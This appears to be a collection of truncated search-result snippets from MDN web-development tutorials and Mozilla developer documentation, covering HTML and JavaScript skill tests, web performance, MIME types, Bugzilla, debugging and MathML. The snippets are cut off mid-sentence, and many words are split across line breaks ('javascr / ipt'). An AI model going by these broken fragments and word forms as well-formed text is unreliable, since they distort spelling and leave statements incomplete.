ldset>'s content into a set of checkboxes. add a couple more hotdog choices of your own. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. basic controls 3 the final task in this set requires you to create a file picker. create a basic file picker. allow the user to pick mult
iple files at once. allow the file picker to accept jpg and png images only. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. assessment or further help you can practice these examples in the interactive editors above. if you would like your work assessed, or are stuck and want t...
...ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for basic controls 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help someo...
Test your skills: Form structure - Learn web development
ad the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help -- see the assessment or further help section at the bottom of this page. form structure 1 in this task we want you to structure the provided form features: separate out the first two and second two form fields into two distinct containers, each with a descr
iptive legend (use "personal details" for the first two, and "comment information" for the second two). mark up each text label with an appropriate element so that it is semantically associated with its respective form field. add a suitable set of structural elements around the label/field pairs to separate them out. download the starting point for this task to work in your own editor or in a...
...ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for form structure 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help someo...
Test your skills: HTML5 controls - Learn web development
ximum number of people to invite to their party. implement a basic slider control to go along with the provided label. give it a minimum value of 1, maximum value of 30, and initial value of 10. create a corresponding output element to put the current value of the slider into. give it a class of invite-output, and semantically associate it with the input. if you do this correctly, the javascr
ipt included on the page will automatically update the output value when the slider is moved. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. assessment or further help you can practice these examples in the interactive editors above. if you would like your work assessed, or are ...
...ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for html5 controls 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help someo...
Installing basic software - Learn web development
servers (git is increasingly replacing ftp for this purpose). there are loads of (s)ftp programs available including cyberduck, fetch and filezilla. an automation system, like webpack, grunt, or gulp to automatically perform repetitive tasks, such as minifying code and running tests. libraries, frameworks, etc., to speed up writing common functionality. a library tends to be an existing javascr
ipt or css file that provides ready-rolled functionality for you to make use of in your code. a framework tend to take this idea further, offering a complete system with some custom syntaxes for you to write a web app on top of. more tools besides! what tools do i actually need, right now? that looks like a scary list, but fortunately, you can get started in web development without knowing anyth...
...ct that requires support for it. ...
Debugging HTML - Learn web development
programming language or code is familiarity with both the language and the tools. html and debugging html is not as complicated to understand as rust. html is not compiled into a different form before the browser parses it and shows the result (it is interpreted, not compiled). and html's element syntax is arguably a lot easier to understand than a "real programming language" like rust, javascr
ipt, or python. the way that browsers parse html is a lot more permissive than how programming languages are run, which is both a good and a bad thing. permissive code so what do we mean by permissive? well, generally when you do something wrong in code, there are two main types of error that you'll come across: syntax errors: these are spelling errors in your code that actually cause the progr...
... fixing an earlier error will also get rid of other error messages -- several errors can often be caused by a single problem, in a domino effect. you will know when all your errors are fixed when you see the following banner in your output: summary so there we have it, an introduction to debugging html, which should give you some useful skills to count on when you start to debug css, javascr
ipt, and other types of code later on in your career. this also marks the end of the introduction to html module learning articles -- now you can go on to testing yourself with our assessments: the first one is linked below. previous overview: introduction to html next in this module getting started with html what's in the head? metadata in html html text fundamentals creating hyperl...
Test your skills: Links - Learn web development
e, or glitch to work on the tasks. if you get stuck, then ask us for help -- see the assessment or further help section at the bottom of this page. links 1 in this task we want you to help fill in the links on our whales information page: the first link should be linked to a page called whales.html, which is in the same directory as the current page. we'd also like you to give it a toolt
ip when moused over that tells the user that the page includes information on blue whales and sperm whales. the second link should be turned into a link you can click to open up an email in the user's default mail application, with the rec
ipient set as "whales@example.com". you'll get a bonus point if you also set it so that the subject line of the email is automatically filled in as "question abo...
...ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for links 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help someone with a...
Test your skills: HTML images - Learn web development
ys at the correct aspect ratio, and enough space is left on the page to display it. the image's intrinsic size is 615 x 419 pixels. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. html images 2 in this task you already have a full-featured image, but we'd like you to add a toolt
ip that appears when the image is moused over. you should put some appropriate information into the toolt
ip. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. html images 3 in this final task you are provided with both a full-featured image and some caption text. what you need to do ...
...ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for html image basics 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help so...
Mozilla splash page - Learn web development
page-start directory on github. save the contents of index.html in a file called index.html on your local drive, in a new directory. then save pattern.png in the same directory (right click on the image to get an option to save it.) access the different images in the originals directory and save them in the same way; you'll want to save them in a different directory for now, as you'll need to man
ipulate (some of) them using a graphics editor before they're ready to be used. alternatively, you could use an online tool such as glitch to create your example. this would also be useful if you want to get it assessed, or ask for help -- see the assessment or further help section at the bottom of this page. note: the example html file contains quite a lot of css, to style the page. you don't ne...
...ut your work into an online shareable editor such as codepen, jsfiddle, or glitch. glitch is probably better for this example, as it allows you upload assets like images, whereas some of the other tools don't. write a post asking for assessment and/or help at the mdn discourse forum. add the "learning" tag to your post so we are able to more easily find it. your post should include: a descr
iptive title such as "assessment wanted for mozilla splash page". details of what you would like us to do -- for example what you have already tried, if you are stuck and need help,. a link to the example you want assessed or need help with, in an online editor. this is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. a link to...
Test your skills: Multimedia and embedding - Learn web development
ake browsers display some default controls. add some appropriate fallback text for browsers that don't support <audio>. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. multimedia and embedding 2 in this task we want you to mark up a slightly more complex video player, with mult
iple sources, subtitles, and other features besides. you need to: add an attribute to make browsers display some default controls. add some appropriate fallback text for browsers that don't support <video>. add mult
iple sources, containing the paths to the video files. the files are called video.mp4 and video.webm, and are in a folder inside the current folder called media. let the browser kno...
...ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for html image basics 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help so...
Structuring the web with HTML - Learn web development
it isn't absolutely necessary; much of what is covered in the html basics article is also covered in our introduction to html module, albeit in a lot more detail. ...
...ml basics article is also covered in our introduction to html module, albeit in a lot more detail. after learning html, you can then move on to learning about more advanced topics such as: css, and how to use it to style html (for example alter your text size and fonts used, add borders and drop shadows, layout your page with mult
iple columns, add animations and other visual effects.) javascr
ipt, and how to use it to add dynamic functionality to web pages (for example find your location and plot it on a map, make ui elements appear/disappear when you toggle a button, save users' data locally on their computers, and much much more.) modules this topic contains the following modules, in a suggested order for working through them. you should definitely start with the first one. intro...
Test your skills: Conditionals - Learn web development
he code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help -- see the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascr
ipt console, in the case of the downloadable version). conditionals 1 in this task you are provided with two variables: season -- contains a string that says what the current season is. response -- begins uninitialized, but is later used to store a reponse that will be printed to the output panel. we want you to create a conditional that checks whether season contains the string "summer", a...
...ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for conditionals 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help someone...
Arrays - Learn web development
n the final article of this module, we'll look at arrays -- a neat way of storing a list of data items under a single variable name. here we look at why this is useful, then explore how to create an array, retrieve, add, and remove items stored in an array, and more besides. prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascr
ipt is. objective: to understand what arrays are and how to man
ipulate them in javascr
ipt. what is an array? arrays are generally described as "list-like objects"; they are basically single objects that contain mult
iple values stored in a list. array objects can be stored in variables and dealt with in much the same way as any other type of value, the difference being that we can...
...st your skills! you've reached the end of this article, but can you remember the most important information? you can find some further tests to verify that you've retained this information before you move on -- see test your skills: arrays. conclusion after reading through this article, we are sure you will agree that arrays seem pretty darn useful; you'll see them crop up everywhere in javascr
ipt, often in association with loops in order to do the same thing to every item in an array. we'll be teaching you all the useful basics there are to know about loops in the next module, but for now you should give yourself a clap and take a well-deserved break; you've worked through all the articles in this module! the only thing left to do is work through this module's assessment, which will tes...
Test your skills: Arrays - Learn web development
he code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help -- see the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascr
ipt console, in the case of the downloadable version). arrays 1 let's start off with some basic array practice. in this task we'd like you to create an array of three items, stored inside a variable called myarray. the items can be anything you want -- how about your favourite foods or bands? next, modify the first two items in the array using simple bracket notation and assignment. then add a n...
...ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for variables 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help someone wi...
Test your skills: Strings - Learn web development
this aim of this skill test is to assess whether you've understood our handling text -- strings in javascr
ipt and useful string methods articles. note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help -- see the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascr
ipt console, in the case of the downloadable version). strings 1 in our first strings task, we start off small. you already have half of a famous...
...ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for strings 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help someone with...
Test your skills: variables - Learn web development
the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help -- see the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascr
ipt console, in the case of the downloadable version). variables 1 in this task we want you to: declare a variable called myname. initialize myname with a suitable value, on a separate line (you can use your actual name, or something else). declare a variable called myage and initialize it with a value, on the same line. try updating the live code below to recreate the finished example: ...
...bove. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for variables 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help someone with...
Test your skills: Object basics - Learn web development
this aim of this skill test is to assess whether you've understood our javascr
ipt object basics article. note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help -- see the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascr
ipt console, in the case of the downloadable version). object basics 1 in this task you are provided with an object literal, and your tasks are to store the value of the name property...
...ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for object basics 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help someon...
Measuring performance - Learn web development
an use the api for metrics related to all of the navigation events displayed in the didagram below. the performance api, which provides access to performance-related information for the current page, includes the performance timeline api, the navigation timing api, the user timing api, and the resource timing api. these interfaces allows the accurate measurement of the time it takes for javascr
ipt tasks to complete. the performanceentry object is part of the performance timeline. a performance entry can be directly created by making a performance mark or measure (for example by calling the mark() method) at an explicit point in an application. performance entries are also created in indirect ways; such as loading a resource, like an image. the performanceobserver api can be used to obse...
...p or site. next up, you'll look at perceived performance and some techniques to make unavoidable performance hits appear less severe to the user, or disguise them completely. previous overview: performance next in this module the "why" of web performance what is web performance? how do users perceive performance? measuring performance multimedia: images multimedia: video javascr
ipt performance best practices. html performance features css performance features fonts and performance mobile performance focusing on performance ...
The business case for web performance - Learn web development
file type, all files loaded on a page, a specific metric, or a threshold over a period of time.the budget reflects reachable goals; whehter they are time, quantity, or rule based. definining and promoting a budget helps performance proponent advocates for good user experience against competing interests, such as marketing, sales, or even other developers that may want to add videos, 3rd party scr
ipts, or even frameworks. performance budgets help developer teams protect optimal performane for users while enabling the business to tap into new markets and deliver custom experiences. key performance indicators setting key performance indicators (kpi) as objectives can hiltie performance objectives that are also business objectives. kpis can be both a set of important business metrics in measu...
...c.) is directly related to how to web performance. (source needed). area of conflict - not prioritizing web performance, but expecting good business metrics (see the three above). previous overview: performance in this module the "why" of web performance what is web performance? how do users perceive performance? measuring performance multimedia: images multimedia: video javascr
ipt performance best practices. html performance features css performance features fonts and performance mobile performance focusing on performance ...
Multimedia: video - Learn web development
video, optimize <source> order, set autoplay, remove audio from muted video, optimize video preload, and consider streaming the video. the sections below describe each of these optimization techniques. compress all videos most video compression work compares adjacent frames within a video, with the intent of removing detail that is identical in both frames. compress the video and export to mult
iple video formats, including webm, mpeg-4/h.264, and ogg/theora. your video editing software probably has a feature to reduce file size. if not, there are online tools, such as ffmpeg (discussed in section below), that encode, decode, convert, and perform other optimization functions. optimize <source> order order video source from smallest to largest. for example, given video compressions in t...
...site files, and always worthy of attention. this article explains how to optimize website video through reducing file size, with (html) download settings, and with streaming. previous overview: performance next in this module the "why" of web performance what is web performance? how do users perceive performance? measuring performance multimedia: images multimedia: video javascr
ipt performance best practices. html performance features css performance features fonts and performance mobile performance focusing on performance ...
Learning area release notes - Learn web development
ave comments in our discourse forum. june 2020 our front-end web developer learning pathway is officially launched! check it out for an opinionated pathway to follow for learning front-end development! also see our hacks post -- introducing the mdn web docs front-end developer learning pathway -- for more information about the rationale behind it. may 2020 our understanding client-side javascr
ipt frameworks module is now available. learn why frameworks exist, when you should use one (and when you shouldn't), what kinds of features are common to all frameworks, and how they relate to the vanilla javascr
ipt you may already know. once you have a general understanding of frameworks, move on to tutorial series covering popular frameworks like react, ember, and vue. our web forms learning mod...
... our new understanding client-side web development tools module has been released! learn the essentials of web development tooling, including what kind of tools exist, the command line, package managers, and how to assemble your own functioning tool chain. march 2020 you'll now find "test your skills" assessments accompanying the articles in the following modules: css building blocks javascr
ipt first steps javascr
ipt building blocks introducing javascr
ipt objects january 2020 the html forms module has been significantly updated: it has been retitled web forms, and moved out of the html topic area to recognise that it covers more than just html form elements -- it also covers styling, validation, the basics of how to send data and process it on the server, and more besides. it ...
Properly configuring server MIME types - Learn web development
eb servers and web applications. what are mime types? mime types describe the media type of content either in email or served by web servers or web applications and are intended to help guide a web browser in how the content is to be processed and displayed. examples of mime types are: text/html for normal web pages text/plain for plain text text/css for cascading style sheets text/javascr
ipt for scr
ipts application/octet-stream meaning "download this file" application/x-java-applet for java applets application/pdf for pdf documents technical background registered values for mime types are available in iana | mime media types. the http specification defines a superset of mime which is used to describe the media types used on the web. why are correct mime types important? if ...
...nd the correct content-type http header for each document. if you're using the apache web server, simply copy this sample .htaccess file to the directory that contains the files that you want to send with the correct mime types. if you have an entire subdirectory of files, just place the file in the parent directory; you need not place it in each subdirectory. if you're using a server-side scr
ipt to generate content, you can generally add one line near the top of your scr
ipt. you can serve content other than html from perl, php, asp, or java -- just change the mime type accordingly. for perl cgi, you should have the line print "content-type: text/html\n\n"; before any other output lines. if you're using the cgi module, you can use the line print $cgi->header('text/html'); instead, ...
Cross browser testing - Learn web development
code and how to mitigate them, what tools are most useful in helping you test and fix problems, and how to use automation to speed up testing. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites you should really learn the basics of the core html, css, and javascr
ipt languages first before attempting to use the tools detailed here. guides introduction to cross browser testing this article starts the module off by providing an overview of the topic of cross browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifyin...
... specifically at the common cross-browser problems you will come across in html and css code, and what tools can be used to prevent problems from happening, or fix problems that occur. this includes linting code, handing css prefixes, using browser dev tools to track down problems, using polyfills to add support into browsers, tackling responsive design problems, and more. handling common javascr
ipt problems now we'll look at common cross-browser javascr
ipt problems and how to fix them. this includes information on using browser dev tools to track down and fix problems, using polyfills and libraries to work around problems, getting modern javascr
ipt features working in older browsers, and more. handling common accessibility problems next we turn our attention to accessibility, providing ...
Links and Resources
to base their upcoming accessibility regulations on these guidelines. wai interest group - discussion list for standards in web accessibility. web accessibility checklist from ibm. ibm's java accessibility checklist - guidelines to making java accessibility. accessibility information resource center for developers at adobe - flash mx accessibility, pdf document accessibility and actionscr
ipt accessibility. online accessibility validators there are now a few available and excellent online accessibility validators which check single webpages according to checkpoints of wcag guidelines and then reports errors or warnings. webxact(tm) from watchfire(r) corporation webxact(tm) is a free and complete online accessibility validation service that can test single pages for quality, a...
... "cynthia says(tm)" is a free online webpage accessibility validation service that identifies accessibility errors in webpage related to section 508 standards and/or the wcag guidelines. just like webxact, it can also perform a "complete webpage quality check" for accessibility, privacy, searchability, metadata and even alt text attribute quality. accessibility valet from webthing descr
iption and summary to be written. wave 3.0 (web accessibility versatile evaluator) from webaim and sponsored by temple university institute on disabilities wave 3.0 is another powerful, mature, free online webpage accessibility validation service that identifies accessibility errors and reports accessibility warnings about webpage related to section 508 standards and/or the wcag guidelines.
Index
ppealing add-on listing add-ons, beginner, guide, webextension, publishing there are two essential steps to getting people to use your add-on: they need to discover your add-on and open the listing page, then the listing page needs to encourage them to click the add to firefox button. the content you add to a listing is therefore vital: from making effective use of keywords in your descr
iptions, to get visibility in external search engine results, through having an icon that attracts a user's attention from a category list, to screenshots that show how useful your add-on is. 676 index add-ons, glossary, guide, index found 689 pages: 677 signing and distributing your add-on add-ons, extensions, webextensions, distribution, publication, reviews, si...
...e updated, but which we're keeping for the time being as potential source material for updated docs. 686 theme concepts theme, add-on themes developed using the webextensions api in firefox enable you to change the look of the browser by adding images to the header area of the firefox browser; this is the area behind the menu bar, toolbars, address bar, search bar, and tab str
ip. 687 using the amo theme generator amo, add-ons, firefox, guide, tutorial, add-on the theme generator on addons.mozilla.org (amo) guides you through the process of creating a theme for firefox. once you have defined the colors and image for your theme, the generator will submit your new theme to amo. you may submit themes for publishing on amo or for self-distribution. ...
Android-specific test suites
checkstyle, first build firefox for android with your changes; then run ./mach android checkstyle this will run the tests and report the results to stdout, as well as produce an html report. disabling one failing test in general, it's not sensible to allow java code that doesn't observe the existing coding style; in this respect, this job is equivalent to the eslint jobs that check the javascr
ipt coding style throughout the tree. however, the existing configuration can be tweaked and the set of files checked can be modified. contact information android-checkstyle is currently owned by :mcomella and :nalexander. file tickets in the firefox for android product in bugzilla. android-findbugs ensures that the code avoids common java coding errors. using this suite will allow the code to ...
... code avoids common android coding errors. lint is a code scanning tool that identifies problems in the code regarding quality. it is a fast process that can be run on unexecuted code, and test cases are not needed for the process to be completed. lint is a simple test that can assure you have a quality code. see https://developer.android.com/studio/write/lint.html and http://tools.android.com/t
ips/lint for more details. running android-lint to run android-lint, first build firefox for android with your changes; then run ./mach android lint this will lint the code and report the results to stdout, as well as produce an html report. while developing, lint warnings should appear within android studio, although this is not infallible. disabling one failing test in general, it's not sens...
Benchmarking
opt developer edition or beta builds). the poisoning can be disabled by setting the environment variable jsgc_disable_poisoning=1 before starting the browser. async stacks async stacks no longer impact performance since firefox 78, as bug 1601179 limits async stack capturing to when devtools is opened. another option that is on by default in non-release builds is the preference javascr
ipt.options.asyncstack, which provides better debugging information to developers. set it to false to match a release build. (this may be disabled for many situations in the future. see bug 1280819. accelerated graphics especially on linux, accelerated graphics can sometimes lead to severe performance problems even if things look ok visually. normally you would want to leave acceleration enabled w...
... available). flash plugin if you are profiling real websites, you should disable the adobe flash plugin so you are testing firefox code and not flash jank problems. in about:addons > plugins, set shockwave flash to "never activate". timer precision firefox reduces the precision of the performance apis and other clock and timer apis accessible to web content. they are currently reduce to a mult
iple of 2ms; which is controlled by the privacy.reducetimerprecision about:config flag. the exact value of the precision is controlled by the privacy.resistfingerprinting.reducetimerprecision.microseconds about:config flag. profiling tools currently the gecko profiler has limitations in the ui for inverted call stack top function analysis which is very useful for finding heavy functions that call...
Testopia
g process. testopia 3.0 (not yet released) if you upgraded to bugzilla 5.0, you probably noticed that testopia 2.5 is not compatible with this version. despite bugzilla 5.0 has already been released a few months ago, we don't plan to release a fix for testopia immediately, because it's currently under heavy work to make testopia a fully self-contained extension, which means that all tr_*.cgi scr
ipts which are currently in the bugzilla/ root directory are being moved into extensions/testopia/lib/. this is not an trivial task, it takes time (it started in august 2014), and we decided that it was not a good idea to release half-baked code which still needs testing to make sure we didn't regress anything. the good news is that the current code in the git repository already works with bugzilla...
...notice: if you are upgrading on a case sensitive filesystem you must remove the existing testopia folder in the extensions directory. if you have made modifications to the testopia source code, you will need to merge them into the new testopia folder (capital t). if you are on windows or another case insensitive file system you should first rename the folder (testopia-old for example) and then unz
ip the tarball. you can then merge your changes before deleting the old version. api users take note: positional parameters are now deprecated. all params should now be sent in a hash (struct, dict, hashmap or whatever your language of choice calls key, value pairs). though all attempts have been made to provide continuing support for positional parameters, please be aware that some api calls may f...
Bugzilla
bugzilla etiquette a guide to etiquette; this guide will help you understand how best to conduct yourself on b.m.o. ...
... mandatory) for you to check if the problem you're reporting has been already tracked. this guide will help you do so. view all... other materials an introduction to bugzilla bugzilla for humans bugzilla quicksearch help page. quicksearch is a quick, easy, and very effective way of quickly querying bugzilla. testopia - test case management extension bugzilla.org - the project site wik
ipedia:bugzilla - general descr
iption of bugzilla (not specific to mozilla projects) bmo on wiki.mozilla.org - information about mozilla's customized bugzilla installation, including how to contribute to it tools bugzilla todos lists review and flag requests, patches to check in, unfulfilled requests you made of other people, and assigned bugs. bz kanban is a board to visualize the status of ...
Continuous Integration
this document will help you understand all the pieces that comprise mozilla's continuous integration systems. taskcluster and treeherder taskcluster, mozilla's continuous integration (ci) system picks up changes pushed to hg. taskcluster generate binary builds for firefox and firefox for android across a variety of operating sytems. after the builds are completed, they are used to run a series of correctness and performance tests. ...
...wer-case letters, e.g., t(c d g1 o s tp). the talos indicators in treeherder appear green if the job successfully completed; to see the performance data generated by the jobs, click on the performance tab of the job details panel that pops up when you click on a job in treeherder. each talos suite contains a set of tests or pages, some of these in turn have sub-tests. each test is executed mult
iple times to produce a number of data replicates. the talos harness produces a single number per test (typically the median of all the replicates excluding the first 1-5), which are stored in treeherder's database, and are accessible via the perfherder interface. other performance systems autophone (android) autophone is a test harness which runs a set of performance tests on a variety of real...
Creating a Login Manager storage module
interface. register that interface in a specific category. some work has already been done to integrate the login manager with the mac os x keychain (bug 106400) and gnome keyring manager (bug 309807). you should start with the existing code if you want to implement that in your extension. to see some debugging output in the console set signon.debug to true using about:config. sample javascr
ipt implementation the following code sn
ippet is a javascr
ipt component that implements a dummy nsiloginmanagerstorage interface. see how_to_build_an_xpcom_component_in_javascr
ipt for more details about javascr
ipt components. const cc = components.classes; const ci = components.interfaces; components.utils.import("resource://gre/modules/xpcomutils.jsm"); function sampleloginmanagerstorage() {} s...
...avascr
ipt component that implements a dummy nsiloginmanagerstorage interface. see how_to_build_an_xpcom_component_in_javascr
ipt for more details about javascr
ipt components. ...
Debugging Frame Reflow
0 area 02d7afe4 d=9180,630 canvas 00b97c6c d=9180,4470 scroll 00b97ee0 d=9180,4470 scroll 00b97ee0 d=9180,4470 vp 00b97c30 d=9180,4470 the first line shows the reflow of the viewport (vp). this viewport has the address 00b97c30. it is the initial reflow: r=0. other reflow reasons are: incremental reflow resize reflow style change reflow dirty reflow the available width is 9180 tw
ips. the available height is 4470 tw
ips (a=9180,4470). the computed width is 9180 tw
ips. the computed height is 4470 tw
ips (c=9180,4470). the line count is 856 (cnt=856). below this is a line that reads: tblo 02d7b5f0 r=0 a=8940,uc c=0,0 cnt=870 here the uc shows that on initial reflow the available height for the outer table frame is unconstrained. the table cell requires its children to compute th...
...the second table reflow is started at rowg 00b984a4 r=2 a=1500,uc c=1500,uc cnt=879 where the previous information is used. the block has been required to compute the max. element size only once and it reports now: block 02d7bcf8 d=1410,300 the block shows the same address as the previous one. frames with children that overflow the parent have the ns_frame_outside_children flag set. ...
Debugging
debugging a project as large as mozilla can be a daunting task. fortunately, over the years, mozilla developers have come up with not just technologies and features to help you debug code, but have devised t
ips and techniques that can help too. also available are assorted tools that you can use when debugging. documentation topics debugging on top of the mozilla platform debugging javascr
ipt code how to debug javascr
ipt code, with a focus on debugging code in the mozilla project itself. debugging a xulrunner application t
ips and suggestions that will help you debug your xulrunner based application. debugging update problems learn how to debug update problems in mozilla-based applications. debugging the mozilla platform...
...ng on. debugging specific parts of the mozilla codebase debugging opengl if you're working on code that involves opengl calls, and need to debug it, you can turn on a special opengl debugging mode. debugging frame reflow and debugging table reflow notes on debugging issues in gecko's layout engine. miscellaneous debugging safari some t
ips for debugging safari debugging chrome some t
ips for debugging chrome debugging internet explorer some t
ips for debugging internet explorer providing useful information to the mozilla developers how to get a stacktrace for a bug report useful information you can provide about a crash. reporting a performance problem ...using the gecko...
MathML3Testsuite
aviors (attribute href for example). note that in general, comparing with the "sample rendering" is not enough to conclude on the success/failure of the test. so please do not edit these pages if you are not able to explain gecko's rendering. however, any report is welcome on the tracking bug for the mathml testsuite. ...
...ample rendering" is not enough to conclude on the success/failure of the test. so please do not edit these pages if you are not able to explain gecko's rendering. however, any report is welcome on the tracking bug for the mathml testsuite. ...
MathML In Action
mathml in action are you seeing nifty equations throughout this page? no? too bad. here is a screenshot of what you are missing. download a mathml-enabled mozilla build to remedy this sad situation. you already have a mathml-enabled build but what you see on the screenshot is not what you get? in that case you are probably missing some crucial mathml fonts. now that you are well-equ
ipped, you should be able to see this inline equation with varying accents: x ^ + xy ^ + xyz ^ . next to it is this tiny formula, det | a c b d | = a d - b c , which can also be typeset in displaystyle as det | a b c d | = a d - b c . mathematical typesetting is picky. mathml in mozilla aims at complying with the mathml specification so that what you see is what you mark...
... addeventlistener("click", zoomtoggle, false); } window.addeventlistener("load", load, false); ...
Mozilla MathML Status
emented. mroot implemented. mstyle implemented. we are only interested in supporting attributes "inherited from the surrounding context", which are those effectively used in practice. see bug 838509. merror implemented. mpadded implemented. mphantom implemented. mfenced implemented. menclose implemented. scr
ipt and limit schemata element [- attribute] notes msub implemented. msup implemented. msubsup implemented. munder implemented. mover implemented. munderover implemented. mmultiscr
ipts implemented. tabular math element [- attribute] notes mtable implemented. mtable -...
...d. see bug 534967. msrow not implemented. see bug 534967. mscarries not implemented. see bug 534967. mscarry not implemented. see bug 534967. msline not implemented. see bug 534967. other elements element [- attribute] notes mglyph not implemented. see bug 297465. maction implemented. maction - toolt
